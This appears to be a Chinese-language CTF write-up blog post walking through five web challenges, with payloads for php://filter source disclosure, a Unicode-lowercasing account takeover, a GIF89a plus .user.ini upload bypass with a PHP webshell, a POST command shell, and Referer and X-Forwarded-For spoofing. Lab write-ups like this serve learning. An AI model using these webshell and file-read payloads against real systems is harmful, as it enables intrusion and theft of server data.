0x00.前言
*php是世界上最好的语言,好就好在他经常被用来出ctf题。。。[toc]
*感觉摸到门道了啊,第一题8分钟就顺利搞出来了。。。(运气好?)
0x01.Secrete File
日常查看源代码,发现./Archive_room.php链接,点开发现有个跳转链接,点开。。。。。没看清啊,用BurpSuite再看一次,,这次看清了,发现了一个secr3t.php文件,直接访问得到源码,看到源码里面有个file变量,于是我他妈直接php://filter尝试偷鸡,并且偷鸡成功得到结果,再base64解码即可看到flag。
考点:php://filter伪协议,payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php
0x02.[HCTF 2018]admin
这道题做了一会,发现完全没思路,反手Google了一些大佬们的wp,发现不简单,首先很多大佬都给出来3个解法分别是1.unicode欺骗。2.session()伪造。3.条件竞争。发现我一种也不会,后面看到了出题本人写的《出题人求挨打》https://www.ckj123.com/?p=147,发现出题人主要是想考察unicode欺骗,结果bug百出,看了这道题的一血大佬的做题思路也是感叹大佬们都太强了。下面给出unicode欺骗思路。
首先在changpassword页面找到此题的源码,下载到本地进行代码审计(我是第一次看到Python写的网页!!活的),用的Python-flask框架,在注册登录改密码页面发现都用了strlower()函数,但Python里面自带的是.lower()所以有问题,右键Go to defination,自己写的肯定有问题,所以直接听大佬们的把admin当中的a改成ᴬ,注册一遍,再登录,发现ᴬ变成了A,是strlower内部的执行问题,编码转换过后变成了A,再登录,改密码,A变成了a,然后登录admin账号得到flag!
这道题,,,,是真的把我秀到了,不知道我多久能有这些大佬的水平。。。。其他2种解法可参考《出题人求挨打》(打爆狗头!!)
0x03.[SUCTF 2019]CheckIn
[time] 2020年4月13日18:28:46
这道题,看了源码,就是上传文件加绕过一些规则。
jpg文件校验可以用GIF89a来绕过
但是如何绕过<?字符把我困扰到了,但是想起了在《php救命手册》《php官方手册》中看到的短标记那些知识,去翻了翻,可以用:
<script language='php'>eval($_GET('cmd'));</script>
来绕过<?字符。后来无论怎么操作都失败了。。。。于是看大佬的wp。解锁新姿势。
.user.ini(可查阅手册)
我们可以在.user.ini
中设置php.ini
中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
两个有趣的设置:auto_prepend_file和auto_append_file
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
看过.user.ini
的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini
:
GIF89a
auto_prepend_file=a.jpg
此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini
,看来这个思路应该是可行的
然后再上传一个这样的图片马a.jpg:
GIF89a
<script language='php'>system('cat /flag');</script>
得到flag!
以上,就是大佬的大致思路。
0x04.[极客大挑战 2019]Knife
[time] 2020/4/13 23:21:55
真就白给的shell呗,直接POST Syc=system(‘cat /flag’)即可!
(其实我先ls -l /了一次,才cat /flag的(逃….))
。。。
试了试蚁剑,由于之前没用过用不来,这次学了学,这里要感谢学校的star大佬的指点,谢谢学长!!
成功连接到shell。
0x05.[极客大挑战 2019]Http
[time] 2020年4月14日00:01:20
查看源代码,找到Secret.php
提示It doesn’t come from ‘https://www.Sycsecret.com‘
burp抓包添加Referer:https://www.Sycsecret.com
提示You are not use the Syclover Browser.
修改Firfox为Syclover
提示No!!! you can only read this locally!!!
添加X-Forwarded_For:127.0.0.1
得到flag